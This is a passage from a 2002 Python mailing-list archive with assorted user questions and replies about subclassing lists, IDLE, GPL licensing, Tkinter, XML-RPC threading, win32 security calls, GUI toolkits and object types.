a subset of its functionality: class Vector(list): """A class to represent vectors. """ def __init__(self, elems): supself = super(Vector, self) supself.__init__([float(e) for e in elems]) def __chklen(self, other): if len(self) != len(other): raise ValueError, "Vectors must have the same length." def __add__(self, other): self.__chklen(other) return Vector([x+y for x, y in zip(self, other)]) def dot(self, other): """Dot product of two vectors. """ self.__chklen(other) _dot = 0 for s in [x*y for x, y in zip(self, other)]: _dot += s return _dot I.e. Vector should keep or inherit methods meaningful to vectors (e.g. '__str__', '__getitem__', '__cmp__' and so on), and should somehow undefine or mask out any methods not meaningful to it ('append', 'reverse', ..). Any idea how to achieve that easily? Ralf From skip at pobox.com Sat May 11 13:44:39 2002 From: skip at pobox.com (Skip Montanaro) Date: Sat, 11 May 2002 12:44:39 -0500 Subject: idle and the devil In-Reply-To: <kSbD8.12690$d7.4319171@newssrv26.news.prodigy.com> References: <abji97$q7q$1@newsreader1.netway.at> <kSbD8.12690$d7.4319171@newssrv26.news.prodigy.com> Message-ID: <15581.22663.908296.535498@12-248-41-177.client.attbi.com> d> [*** reasons why idle on win32 sucks ***] >> I could not find any pointers in the deja news archive because I have >> got no idea under what keyword I should try to search. d> why not vote with your feet and try one of the other fine editors on d> windows? Check here for possibilities: http://www.python.org/editors/ -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) "Excellant Written and Communications Skills [required]" - post to chi.jobs From stephen at xemacs.org Wed May 22 06:20:48 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 22 May 2002 19:20:48 +0900 Subject: Licensing question References: <3ce8614f_5@nopics.sjc> <3CE9CC3E.F22C3B5D@cascade-sys.com> <mailman.1021968876.9607.python-list@python.org> <slrnael4f0.474.huaiyu@gauss.almadan.ibm.com> Message-ID: <87u1p08ovz.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "Huaiyu" == Huaiyu Zhu <huaiyu at gauss.almadan.ibm.com> writes: Huaiyu> I'm still wondering why someone would marvel at MS's Huaiyu> "Amarican Success Story" while paying for their stuff, yet Huaiyu> at the same time complaining about Stallman not being Huaiyu> generous enough when you can get his stuff for free (in Huaiyu> both senses). Human nature, I suppose. Oh, I think it's quite simple. Free the software certainly is, but Richard Stallman isn't giving anything away; it's all GPL, and thus (1) comes with terms and conditions that restrict what I can do with the software that (2) are in the service of implementing _his_ social program, not _my_ work. In particular, they restrict my freedom to make advantageous trades of my "right to compete commercially against the vendor" for lower price or less personal effort. Bill Gates also wants to restrict my access to resources that never were mine---until I pay for them. So both insist on terms and conditions that restrict what I can do with the software, and when. The emotional difference is that Richard Stallman tells me that dealing with Bill Gates is equivalent to selling myself into slavery, and that Stallman is imposing the restrictions for my own good, and/or the moral good. No doubt I personally consider the GPL deal far more advantageous---but please leave that judgement up to me! There are exceptions, and they are important to me. It certainly is human nature to resent being told what's good for one, especially if one disagrees strongly about parts of the issue. Of course most developers who get upset are really thinking "if this were PSF license, not GPL, I could sell proprietary enhancements to these willing customers." That looks like the developers are trying to get something for nothing, and I suppose they are. But there is a grain of justice to what they're thinking, and that is the customer-side argument I present above. And that's probably enough to get the resentment thing going. (Doesn't take much, does it.) -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN From bh at intevation.de Mon May 27 09:15:54 2002 From: bh at intevation.de (Bernhard Herzog) Date: 27 May 2002 15:15:54 +0200 Subject: extended list comprehensions References: <f32195af.0205261316.2482d4ac@posting.google.com> Message-ID: <6qznylspy4.fsf@abnoba.intevation.de> fxj at hotmail.com (F. Jamitzky) writes: > It would be great to have something like a list comprehension for the > reduce function. It would work in the same way as the comprehension > for the map function, which is: > > [foo(x) for x in xs] <-is the same as-> map(foo,xs) > > and maybe it could be written as: > > {y=y+x for x in xs} <-would be-> reduce(operator.add,xs) Well, one could mimic reduce with the side-effects of a list comprehension: >>> y = 0 >>> xs = range(10) >>> [0 for x in xs for y in [y + x] if 0] [] >>> y 45 Not recommended, though :-) Bernhard -- Intevation GmbH http://intevation.de/ Sketch http://sketch.sourceforge.net/ MapIt! http://www.mapit.de/ From peter at engcorp.com Mon May 20 15:06:24 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 20 May 2002 15:06:24 -0400 Subject: How do you code in Python ??? References: <mailman.1021916915.2998.python-list@python.org> Message-ID: <3CE94930.995ED618@engcorp.com> Pearu Peterson wrote: > > On 20 May 2002, Peter Hansen wrote: > > > Dave Cook wrote: > > > > > > xemacs. Ctrl-C Ctrl-C to run the app. > > > > And Ctrl-C to stop it again? How do you keep it all straight? :-) > > No. Ctrl-G to stop the app. If it's a console app, how can you prevent Ctrl-C from stopping it? (Ctrl-G would be short for "Go Away" I suppose. :) -Peter From mfranklin1 at gatwick.westerngeco.slb.com Thu May 16 16:18:38 2002 From: mfranklin1 at gatwick.westerngeco.slb.com (Martin Franklin) Date: Thu, 16 May 2002 20:18:38 +0000 Subject: Unnamed Tkinter object reference? In-Reply-To: <3CE3FF4A.EE83D797@ingenta.com> References: <3CE13ED5.B0D29BC4@ingenta.com> <mailman.1021403810.29357.python-list@python.org> <3CE3FF4A.EE83D797@ingenta.com> Message-ID: <200205161918.g4GJIrX19225@helios.gatwick.geco-prakla.slb.com> On Thursday 16 May 2002 6:49 pm, Christopher Myers wrote: > Martin, > > Thanks so much! > Combining your code and mine, I(We) have created a very reusable widget, > which would most likely be useful to others in Python-opia. Any idea if > any of the Tk wrappers out there (Pmw, others?) already have such a > widget? Chris, Not that I know of, but I only use Tkinter + Pmw I did find this when I google'd for 'Tkinter listbox bind <Any-Key>' http://www.cs.usyd.edu.au/~piers/python/py2html.cgi/~piers/python/ScrolledTable I think it does more than our little widget but I haven't tested it 'cause I don't need it just yet! Cheers Martin From hr at tngi.com Tue May 14 20:45:57 2002 From: hr at tngi.com (Howard Roth) Date: Wed, 15 May 2002 00:45:57 GMT Subject: File write/read question References: <78bc9697.0205130907.4288e607@posting.google.com> Message-ID: <9diE8.1438$Ec.126265@newsread2.prod.itd.earthlink.net> One way to do the conversion is to use 'eval(a)' So 'print eval(a) + eval(a)" will give you two. Or you can assign 'x = eval(a)' and 'print x + x' "Nathan Hellmers" <nhellmers at yahoo.com> wrote in message news:78bc9697.0205130907.4288e607 at posting.google.com... > Hi, > > I'm just getting started with Python, and am stumped on a basic > problem. I have one program that runs a lot of calculations and > produces an integer. I want to write that integer to a file, and then > read it with another program to run some more calculations. I know > that an integer written to a file is actually a string, but how do I > convert the string to an integer once I have read it with program #2? > > Simplified example of what I am trying to do: > > --------------- > #1 > > test = open("test.txt", "w") > a = 1 > print >> test, a > test.flush() > ---------------- > > That successfully writes the number 1 to a file called test.txt. > > ---------------- > #2 > > test2 = open("test.txt", "r") > a = test2.readline() > int(a) > print a + a > ---------------- > > That successfully reads the number 1 from the file and assigns the > variable "a" to it, but the printout is 1 1 (on two lines) rather than > 2. Using type I can see that "a" was not converted to an integer. I > can also see that "a" actually equals "a\n". If I slice off the \n > with "a = a[0:1]", I still can't convert it to an integer. > > > Any help would be greatly appreciated. > > > Thanks, > > Nathan > From syver-en+usenet at online.no Thu May 23 17:20:33 2002 From: syver-en+usenet at online.no (Syver Enstad) Date: Thu, 23 May 2002 21:20:33 GMT Subject: win32 all question, win32security, impersonation References: <u1yc448xs.fsf@online.no> <3CEC8F6F.8020503@skippinet.com.au> Message-ID: <uhekyimtq.fsf@online.no> Mark Hammond <mhammond at skippinet.com.au> writes: > Syver Enstad wrote: > > I was fiddling around with mount points on win2k (using windll) the > > other day, and discovered that I had to be administrator to delete > > The next version of win32file has support for this ;) Cool. <snip> about AdjustTokenPrivilege > > MSDN documents that this error code may be returned from > GetLastError(), even when the function succeeds. It appears this > error is informing you that it didn't actually need to enable the > privilege, or something like that ;) > > I have fixed win32security to ignore that error code (as many online > C++ samples do) - you can always call GetLastError() yourself to get > the error code :) In the meantime you should be able to simply ignore > > the exception if the error code portion is > winerror.ERROR_NOT_ALL_ASSIGNED > > Mark. > Still doesn't work, as far as I remember I already tried it. Well, well, win32 security have always given me the creeps anyway ;-) securityHandle = win32security.LogonUser( '<username>', '.', '<password>', win32security.LOGON32_LOGON_INTERACTIVE, win32security.LOGON32_PROVIDER_DEFAULT) Traceback (most recent call last): File "H:\MyDocuments\spike.py", line 35, in ? win32security.LOGON32_PROVIDER_DEFAULT) api_error: ( 1314, 'LogonUser', 'A required privilege is not held by the client.' ) > h:\mydocuments\spike.py(35)?() -> win32security.LOGON32_PROVIDER_DEFAULT) -- Vennlig hilsen Syver Enstad From weeks at vitus.scs.agilent.com Fri May 17 18:50:41 2002 From: weeks at vitus.scs.agilent.com (Greg Weeks) Date: Fri, 17 May 2002 22:50:41 +0000 (UTC) Subject: How do you code in Python ??? References: <409a56e2.0205170047.429beb44@posting.google.com> Message-ID: <1021675841.367689@cswreg.cos.agilent.com> Shagshag (shagshag13 at yahoo.fr) wrote: : Newbie to python, i was wondering how *skilled* guys code with it : I use an ascii editor (emacs) in text mode. I typically write lots of code before executing anything. I test the code by executing programs from the Unix command line. Greg From peter at engcorp.com Thu May 30 21:54:26 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 30 May 2002 21:54:26 -0400 Subject: matching one time through a loop References: <B43D149A9AB2D411971300B0D03D7E8BF0A335@natasha.auslabs.avaya.com> <mailman.1022806551.14232.python-list@python.org> Message-ID: <3CF6D7D2.4894DF36@engcorp.com> "David K. Trudgett" wrote: > > On Friday 2002-05-31 at 09:55:04 +1000, Delaney, Timothy wrote: > > > Seriously here ... by not having regular expressions be an integral part of > > the language, I believe they become much more understandable. It is always > > There might be something in that. However, having learned Perl before > Python, I just find it really clunky and slow to do regex stuff in > Python. I find that I miss the power that direct language syntax > support for regexes gives me. There's obviously a value judgement > there, of course: one needs to weigh up ease and speed of programming > with other factors like cleanness, readability, and so on. Obviously, > Python comes down on the cleanness/readability side, at the expense of > programmer productivity in text processing. I believe "programmer productivity" is significantly improved when using Python, especially because of the emphasis on readability. Productivity needs to include not just the time to type the statement, which is a miniscule portion of the overall effort, but also the time to revise the design repeatedly (assuming code-and-fix, which 95% of programmers use) or the time to write test cases, whether after (for 4% of programmers) or incrementally during (for those using Test-Driven Development). In all cases, code maintenance is a far greater proportion of the work than mere typing, and I really don't believe the minor time savings when typing provided by Perl From bkesuma at REMOVECAPITALS.yahoo.com Sat May 18 13:34:16 2002 From: bkesuma at REMOVECAPITALS.yahoo.com (Batara Kesuma) Date: Sun, 19 May 2002 02:34:16 +0900 Subject: regular expression Message-ID: <20020519023416.6f02ff3f.bkesuma@REMOVECAPITALS.yahoo.com> Hi, I tried to look at the docs, but couldn't get it. How can I compile the regex rule, and match a list? I want to print out only list that contains 6 digits in it. --- start --- import re list = ['123456', '234567', '123', 'abc', '1234567'] for x in list: rule = re.compile(\d{6,6}) // here I don't know... if rule.match(x): print x --- end --- Please help, and thank you very much... From jblazi at hotmail.com Fri May 10 08:14:17 2002 From: jblazi at hotmail.com (jb) Date: Fri, 10 May 2002 14:14:17 +0200 Subject: Conditional compilation Message-ID: <3cdbb641_2@news3.newsgroups.com> This question was probably asked many times. It does not seem to be possible to "comment out" blocks of code, which would be a very nice feature for testing purposes. (Maybe I can do it with """ but that looks a bit cumbersome.) Any ideas, hint, proposals? -- Js Bi "Il n'y a gu?re dans la vie qu'une pr?occupation grave: c'est la mort;" (Dumas) -----------== Posted via Newsgroups.Com - Uncensored Usenet News ==---------- http://www.newsgroups.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Ulimited Fast Downloads - 19 Servers =----- From jdhunter at nitace.bsd.uchicago.edu Fri May 17 17:37:26 2002 From: jdhunter at nitace.bsd.uchicago.edu (John Hunter) Date: Fri, 17 May 2002 16:37:26 -0500 Subject: How many languages features are available for OO support? References: <9r5F8.142619$o66.424520@news-server.bigpond.net.au> Message-ID: <m2ptzu8nhl.fsf@video.paradise.lost> >>>>> "Byron" == Byron Hammond <byronh at bigpond.net.au> writes: Byron> Does Python support the notion of an abstract class or an Byron> interface through the use of language features? Zope, a nearly pure python web server, is moving to a Components/Interface design, and provides some base classes to support interfaces in python http://www.zope.org/Documentation/ZDG/ComponentsAndInterfaces.stx John Hunter From pinard at iro.umontreal.ca Fri May 3 12:09:38 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 03 May 2002 12:09:38 -0400 Subject: print , (was Re: Python vs. Perl, which is better to learn?) In-Reply-To: <DJqA8.41385$8D3.1218461@news1.tin.it> References: <mailman.1020308224.15313.python-list@python.org> <QSiA8.40950$8D3.1200259@news1.tin.it> <aasj53$jdr$1@panix1.panix.com> <7xn0viyspa.fsf@ruckus.brouhaha.com> <DJqA8.41385$8D3.1218461@news1.tin.it> Message-ID: <oqu1pp2oxp.fsf@carouge.sram.qc.ca> [Alex Martelli] > I find Python's print convenient for debugging purposes, and that's > about all. Same here. For real output when I control everything, the simplest is to do: write = sys.stdout.write and then: write(DATUM) `write' will write DATUM exactly, with nothing added. I see `print' as useful when used interactively, or else, as debugging statements in batch scripts. I gave myself the rule, which I follow very strictly, of never using `print' into a production script. I use editing commands to blindly comment all remaining `print' when something goes into production. This is convenient and useful for me. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From mwh at python.net Wed May 22 06:17:23 2002 From: mwh at python.net (Michael Hudson) Date: Wed, 22 May 2002 10:17:23 GMT Subject: Is python really slow? References: <60FB8BB7F0EFC7409B75EEEC13E20192B98BD8@admin56.narex.com> <mailman.1022031096.2552.python-list@python.org> Message-ID: <lkwutwbi48.fsf@pc150.maths.bris.ac.uk> "David K. Trudgett" <dkt at registriesltd.com.au> writes: > On Tuesday 2002-05-21 at 19:12:19 -0600, Bjorn Pettersen wrote: > > > I'm not a Perl expert, but from what I hear it is considerably harder to > > extend/embed Perl (someone please correct me if I'm wrong <wink>). > > I've never looked into extending Python with C in terms of its > difficulty, I find I can do it whilst asleep, drunk and with my hands behind my back. I have done it quite a lot by now, though... Cheers, M. -- I also feel it essential to note, [...], that Description Logics, non-Monotonic Logics, Default Logics and Circumscription Logics can all collectively go suck a cow. Thank you. -- http://advogato.org/person/Johnath/diary.html?start=4 From whisper at oz.net Sun May 19 18:41:43 2002 From: whisper at oz.net (David LeBlanc) Date: Sun, 19 May 2002 15:41:43 -0700 Subject: Where to find python code beautifier ? In-Reply-To: <oq7klzhk6g.fsf@titan.progiciels-bpi.ca> Message-ID: <GCEDKONBLEFPPADDJCOEKEHCDDAA.whisper@oz.net> Did you take a look at pindent.py in the tools/scripts directory? Read the comment at the top of the file. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Fran?ois Pinard > Sent: Sunday, May 19, 2002 15:01 > To: Terry Reedy > Cc: python-list at python.org > Subject: Re: Where to find python code beautifier ? > > > [Terry Reedy] > > > There is no need for one. We write our Python code pretty in the > > first place. > > A human can do that, but it is less easy when Python code is automatically > generated. This is the case in one of my projects, and because of this, I > do have a Python beautifier in the works. I return to it from > time to time, > still having good hope that it will be satisfactorily -- I only > need to find > a few days of free time combined with the inclination to work on this. :-) > > -- > Fran?ois Pinard http://www.iro.umontreal.ca/~pinard > > > -- > http://mail.python.org/mailman/listinfo/python-list From mlh at vier.idi.ntnu.no Fri May 3 17:40:08 2002 From: mlh at vier.idi.ntnu.no (Magnus Lie Hetland) Date: Fri, 3 May 2002 21:40:08 +0000 (UTC) Subject: Threads and socketservers... (xmlrpc) Message-ID: <slrnad60to.qvq.mlh@vier.idi.ntnu.no> I'm writing a simple peer-to-peer system using xmlrpc, and my idea was to use xmlrpc also for the interaction between the user-interface (sort of a "client" to one of the "peers/servers" I guess). That's no problem in itself, but I also wanted to write a standalone program which starts both a peer node and an ui client. There are, of course, many ways of doing this -- my first thought was to use fork() or some friend, but that wouldn't be very Windows friendly. So, I thought, what about simply using a daemonic thread for the peer/server bit? The only internal interaction is through xmlrpc anyway (wouldn't have to be anymore, but...) so synchronisation shouldn't bee much of an issue. (At least no more than potential deadlocks between two peers.) However... It seems that this doesn't work very well -- or maybe I'm doing it wrong. I'm using something like this. s = xmlrpclib.Server(...) t = threading.Thread(taget=s.serve_forever) t.setDaemon(1) t.run() # Program blocks here... For some reason the thread seems to hog the process -- the main program blocks while waiting for the server's accept-loop to terminate. (The server works just fine, by the way.) Why is this? Is it because switches can only occur between Python bytecode instructions and the socket accept stuff is blocking in C? Shouldn't something like this be possible somehow? After all, the ThreadingMixin doesn't have any problem with this, does it? And if I can't use threads like this, are there any other good ways of doing it (that will work on non-unicen as well)? os.system is a (not very good) option, perhaps... Hm. (Or writing a custom asynchronous server :I) -- Magnus Lie Hetland The Anygui Project http://hetland.org http://anygui.org From erict at millfilm.co.uk Wed May 29 10:34:57 2002 From: erict at millfilm.co.uk (Eric Texier) Date: Wed, 29 May 2002 15:34:57 +0100 Subject: create a tmp file for system execution Message-ID: <3CF4E711.8A175798@millfilm.co.uk> I have a py script executing a bunch of os.system in a loop. It is not very fast and I was wondering if it will not be better to recreate a execution file. My 2 questions: 1) what is faster for a big number of call for i in range(1,2000): os.system("ls F1.%d F2.%d" % ( i , i ) " ) OR fileOut = open("tmpFile",w) for i in range(1,2000): fileOut.write("ls F1.%d F2.%d" % ( i , i ) " ) fileOut.close() os.system("csh -c 'source tmpFile' ") os.system("rm -f tmpFile") 2) if the second one is better I would like to kwo if there is any thing in python for temporary file, the drag being to if you do not come for a specific naming mechanism, you file can be change by and other process before it execute From martin at v.loewis.de Thu May 9 09:58:11 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 09 May 2002 15:58:11 +0200 Subject: Multibyte Character Surport for Python References: <e786d63d.0205080421.3788a0e2@posting.google.com> <j4y9euwxq7.fsf@informatik.hu-berlin.de> <kuhelirarl.fsf@lasipalatsi.fi> <mailman.1020874095.7055.python-list@python.org> <j4znzar2ov.fsf@informatik.hu-berlin.de> <87g011q3fl.fsf@tleepslib.sk.tsukuba.ac.jp> <m3wuudk9xo.fsf@mira.informatik.hu-berlin.de> <87y9etmya6.fsf@tleepslib.sk.tsukuba.ac.jp> <m3sn51k3vp.fsf@mira.informatik.hu-berlin.de> <87lmatmu9d.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: <m3d6w5whho.fsf@mira.informatik.hu-berlin.de> "Stephen J. Turnbull" <stephen at xemacs.org> writes: > Martin> You can't use UTF-8 to represent non-ASCII identifiers, > Martin> and Unicode objects later. Old byte code would not > Martin> interoperate with new byte code. > > _This_ is a serious objection. But if we're ever going to have > non-ASCII identifiers with some sanity, that transition will have to > be made. So I guess it never will happen in PSF Python? No. It just means that if the feature is implemented, it should be done using Unicode objects right from the start. Unicode objects interact with byte string favourably if the byte strings are ASCII only: they have the same hash values, and compare equal, hence you can mix ASCII strings and Unicode strings freely as dictionary keys. > Maybe that's for the best. Francois and my students can write in > their preferred languages, and "official" Python will support Alex's > "one world, one substrate for programming languages" campaign. I'd encourage you to develop a separate patch for it (perhaps after the PEP 263 patch gets integrated), and distribute it to users - based on user feedback, we get a clearer view whether people would use this feature, and in what way. I agree with Alex on the policy that every group of people developing software should use (i.e. all code in English); that policy will certainly apply to the source code of Python itself. I disagree that the language should prevent violations of the policy - I just think there will be additional problems if the feature is implemented. Regards, Martin From siegfried.gonzi at kfunigraz.ac.at Sat May 11 13:52:53 2002 From: siegfried.gonzi at kfunigraz.ac.at (Siegfried Gonzi) Date: Sat, 11 May 2002 18:52:53 +0100 Subject: idle and the devil Message-ID: <abji97$q7q$1@newsreader1.netway.at> I thought it is better to calm down before posting some angry emails to the developers of idle. Yes I know the idle is free (and it is not that bad). I have got installed Python 2.2 on my Windows XP laptop. I work nearly every day with Python/idle and everything works fine but the nasty behavior which sometimes occur: When I mark text in the idle editor (not the command line) and use "copy and paste", it often happens that this text is not only placed at the intented place, it also clutters up the complete file at random places. This often destroys every indentation (yesterday I had the problem, after manually deleting the in addition wrong pasted code, that a return was placed in a for loop and it took me quite a while to find out that the integral is wrong due to the beformentioned misalignment). Maybe it has to do with XP itself, because this often appeared in Emacs too and this was the reason to delete Emacs from my hard disc; the Python case is harder because I need Python for my daily work. I could not find any pointers in the deja news archive because I have got no idea under what keyword I should try to search. Thanks, S. Gonzi From phd at phd.pp.ru Sun May 12 06:12:28 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Sun, 12 May 2002 14:12:28 +0400 Subject: OT: Crazy Programming Message-ID: <20020512141228.C15395@phd.pp.ru> Hello. Little amusing offtopic. ;) There is a nice idead pointed to by /. - a file with a program(s) that solves a Perl Golf job. The amusing part is that the file contains the program in 4 different languges! http://www.if.insa-lyon.fr/eleves/jquelin/quadri.html BTW, the idea of Perl Golf is interesting, but unapplied to Python. It is possible to write short ugly programs in Python, but I would not to make them the goal of a contest. I'd better see a contest for "Python elegance", but unfortunately "elegance" is hard (though not impossible) to measure. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From jrandom at mddd.com Mon May 13 01:03:15 2002 From: jrandom at mddd.com (J. Random Hacker) Date: Mon, 13 May 2002 01:03:15 -0400 Subject: Which GUI Library to Use References: <mailman.1020999258.4125.python-list@python.org> Message-ID: <tMHD8.104128$m26.99910@atlpnn01.usenetserver.com> On Thu, 09 May 2002 22:53:46 -0400, A. Keyton Weissinger wrote: > Hi Folks, > > I am beginning work on what will likely turn into a fairly large > GUI-based application and would like your thoughts on which library to > use: > > A) Tk Only > B) Tk with Python Mega-widgets or similar (i.e. Tk with some other > stuff) C) Qt (BlackAdder just announced the incorporation of Qt3 into > BA) D) wxPython > > I want to get the best combination of easiest to install most feature > rich and do not have enough experience with the non-Tk libraries. > > Thank you!!!! > > Keyton Dont forget FXPy. No one else mentioned it, I wonder why. FXPy is based on the FOX GUI toolkit which is very nice and lightweight. The FOX library is of an extremely beautiful design. I like wxPython, but then again, I don't. wxPython and wxWindows are very much like MFC, which IMHO is not a good thing unless you're porting an application from MFC. I don't hate MFC because its Microsoft but simply because its a shitty design and the only reason to copy it is to give MFC programs an easy and free port path. The Docview architecture was originally introduced in the early 90s, many years after the literature had covered how to do MVC (model-view-controller) correctly, and I don't thinks its any better. This is just one example, but I don't think something being structured like MFC is a good thing. On the other hand, wxPython has lots of features and its mature. In addition its quite popular. I think that wxPython is light years ahead of Tkinter too. Also, the fact that wxPython uses a "native" toolkit for each port is a nice thing, some people don't like the FOX widgets. You really can't go wrong with either. You can produce a program that works with either one which is what really matters. From theller at python.net Tue May 14 04:46:07 2002 From: theller at python.net (Thomas Heller) Date: Tue, 14 May 2002 10:46:07 +0200 Subject: Python 2.2.1 Windows / install variables ? References: <3CDE7290.3E28D9BD@usc.edu> <Pine.SOL.4.30.0205121645520.7173-100000@mimosa.csv.warwick.ac.uk> <3CDE93AB.4E4607D0@usc.edu> <Pine.SOL.4.30.0205121938110.10525-100000@mimosa.csv.warwick.ac.uk> <3CDEB9F4.3307092E@usc.edu> <3CDEF6AF.7030802@skippinet.com.au> <3CE050D5.A04790B1@usc.edu> <3CE08209.9040908@skippinet.com.au> Message-ID: <abqitg$jr31e$1@ID-59885.news.dfncis.de> "Mark Hammond" <mhammond at skippinet.com.au> wrote in message news:3CE08209.9040908 at skippinet.com.au... > Rich Pinder wrote: > > Firstly, I did try uninstalling, loggin in as root, re'installing - no > > difference. (but my user profile is setup so I do have install > > priviliges on the machine) > > > > There isnt really a 'per user' option that I see with this installer > > .... but under advanced options you can select 'Admin install' or > > 'Non-admin install'. Is this what you're thinking about ? It really > > has to do with where you write the .dll's and other stuff executable > > stuff. Both would work for any user, but if you're installing, and you > > dont have wrtie permissions to system32 directory, 'Non-admin install' > > would allow you to still install the software. > > That is what I was thinking of. If I understand correctly, another > side-effect of that option is that HKEY_CURRENT_USER is used rather than > HKEY_LOCAL_MACHINE. I am guessing that the 3rd party extensions are > looking only on HKLM for the "InstallPath" registry entry and not > finding it. > The bdist_wininst installer (which was used to build PyXML, and probably also the other extensions you want to install) DOES look for HKEY_CURRENT_USER if no entry is found under HKEY_LOCAL_MACHINE. I have tried everything I can think of to reproduce the behaviour you describe: Logged in with a non-admin account on my machine (Win2K, SP1), installed Python-2.1.3 with non-admin option, installed PyXML-0.7.1-win32-py2.1.exe, removed it again, also removed Python 2.1.3 again. Everything worked without the problem you described. There were some problems (bugs) though: 1. The PyXML installer complained that it couldn't write into the registry (the uninstallation info) with some error messages - it should probably write this info into the HKEY_CURRENT_USER branch. 2. I was able to run the uninstaller for Python extensions installed under an ADMIN account before (it was not able to remove the registry uninstall info) - it seems bdist_wininst should check for proper permissions for this. (I will submit bugreports to sf and assign them to myself). Rich, can you look up the entries in your registry? The windows installer looks under HKEY_LOCAL_MACHINE and HKEY_CURRRENT_USER for the keys Software\Python\PythonCore\<version>\InstallPath, where <version> is 2.0, 2.1, 2.2 and so on? Thomas From merkosh at hadiko.de Tue May 14 12:21:19 2002 From: merkosh at hadiko.de (Uwe Mayer) Date: Tue, 14 May 2002 18:21:19 +0200 Subject: dynamic functions References: <mailman.1021337209.14560.python-list@python.org> Message-ID: <MPG.174b57e630e43da9989682@news.rz.uni-karlsruhe.de> In article <mailman.1021337209.14560.python-list at python.org>, brian at sweetapp.com says... > Two (untested) ways of doing this immediately occur. The most obvious > is: > > c = lambda x: x < 10 > d = lambda x: c(x) and (x %2 == 0) > > Another way is: > > d = lambda x: x < 10 > def d(x, d=d): return d(x) and (x % 2 == 0) > The basic problem with your original approach is that you were assuming > that name resolution is done at compile time, when it is actually done > at runtime. Yes, thats the solution. But in return only my question was asked the wrong way: How do you create functions which are resolved by runtime? To speak cleartext: I want a class which is initialised with a function in the constructor, a = MyClass(lambda x: x < 3) b = MyClass(lambdy y: y %2 == 0) which returns a boolean value. Classes of this type support concatenation in the sense of a logical AND, so for: a.concate(b) a(x) should test for (x < 3) and (x %2 == 0). How can I do that? Thanks again - Yours Uwe From mtraum at yahoo.com Fri May 10 16:07:46 2002 From: mtraum at yahoo.com (Mike Traum) Date: 10 May 2002 13:07:46 -0700 Subject: jython used to run python from tomcat? Message-ID: <64ace841.0205101207.1c234e1@posting.google.com> Can jython be used to run python from tomcat directly? Meaning, can you configure Tomcat to use jython in a similar way it uses CGIServlet to run perl and executable cgi's? Mike From emile at fenx.com Thu May 30 10:30:44 2002 From: emile at fenx.com (Emile van Sebille) Date: Thu, 30 May 2002 14:30:44 GMT Subject: Where can I find .join() in the docs References: <mailman.1022766950.1396.python-list@python.org> Message-ID: <oIqJ8.118521$L76.198853@rwcrnsc53> Michael Chermside > Specifically, I went to the Python Library Reference (which you will > find stashed under your pillow), Chapter 2 (built-in stuff), then went > to the section on sequences (which Strings are) and the page on Strings. > ...which illustrates a difficulty for a newbie... knowing it's 'built-in stuff' then further knowing that strings are classified under sequences... -- Emile van Sebille emile at fenx.com --------- From db3l at fitlinxx.com Wed May 22 23:52:57 2002 From: db3l at fitlinxx.com (David Bolen) Date: 22 May 2002 23:52:57 -0400 Subject: "casting" Python objects References: <achcu0$j62$1@news.vcd.hp.com> <Xns921712B50E3A7cliechtigmxnet@62.2.16.82> <V1ZG8.9309$352.846@sccrnsc02> Message-ID: <u4rgzzfja.fsf@ctwd0143.fitlinxx.com> "djw" <dwelch91 at attbi.com> writes: > Hmmmm... I don't think I understand when you say "variable 'msg' has no > type"... It's best to think of the labels by which you reference objects as themselves having no inherent types - they are just bound to point to an object. Now the objects themselves are strongly typed. This differs from other languages (say, for example, C) where declaring a variable represents actual storage and that variable itself has a type. > Here is my simple analogous example: > > class a: > def a(self): > print "a" > > class b(a): > def b(self): > print "b" > > >>>x=a() # analogous to jabber.Message > >>>x.b() # analogous to FooMsg > Traceback (most recent call last): > File "<interactive input>", line 1, in ? > AttributeError: a instance has no attribute 'b' > > To me, this clearly shows that 'x' is of type 'a', not of type 'b'. I agree > that I can then easily do this: No - I would suggest that 'x' has no type in this. Yes, the object to which the name 'x' is currently bound (which is an instance of class 'a' that you created by your call to a()) does have a type - and strongly so. The error message you are getting is complaining that the object returned by a() - e.g., the "a instance" - doesn't have the 'b' attribute. But to say that this means 'x' has a type is, to my mind, misleading at best. > >>> x=b() > >>> x.b() > b > > So, yes, x can dynamically change types to another type, but it can only be > _one_type_at_a_time! Right??? There's no changing of types going on. Here you just make the name 'x' reference or point to a different object. The fact that the new object has a different type than the previous object that x referenced is true, but those are facts about the objects (which never change types) and not the name by which you happen to refer to an object. It may seem a nit, but it really gets to the root of how objects work in Python and name bindings, and name spaces and so on, and thinking about it as if the labels you are using have types associated with them can make things more confusing down the road. > In my original post, the Queue was put() with types of jabber.Message. When > you get() them from the Queue, they come off as type jabber.Message. In > order to call a FooMsg method on a message, their type must somehow be > changed to type FooMsg (or something like that). But that doesn't make much sense. Whatever object you put() into the queue is a particular object type, and that is regardless of what name you may use to reference the object. That object type is unchanged when you retrieve them from the queue and can not be changed, again regardless of what sort of name you may use when retrieving the object. If the object you put/get from the queue is a jabber.Message, it's non-sensical to talk about treating it like FooMsg (unless FooMsg is a parent class of jabber.Message) since by definition that's not the type of object it is. > So, to continue my above example: > > >>> import Queue > >>> q = Queue:Queue() > >>> x=a() > >>> q.put(x) > >>> y=q.get() > >>> y.b() > Traceback (most recent call last): > File "<interactive input>", line 1, in ? > AttributeError: a instance has no attribute 'b' > > Fails because 'y' is of type 'a' not of type 'b' No it fails because the 'a instance' object (which was put into the queue and then retrieved) doesn't have a method 'b'. Neither the labels 'x' nor 'y' really come into it as far as what it wrong underneath the covers. But I think that's moot for your underlying question. You seem to want to take an object of class A (jabber.Message) and call a method that belongs to a subclass of A (FooMsg) even though all you have is an instance of the parent class A. But by definition, while a subclass has access to the methods of its parent classes, a parent class object knows 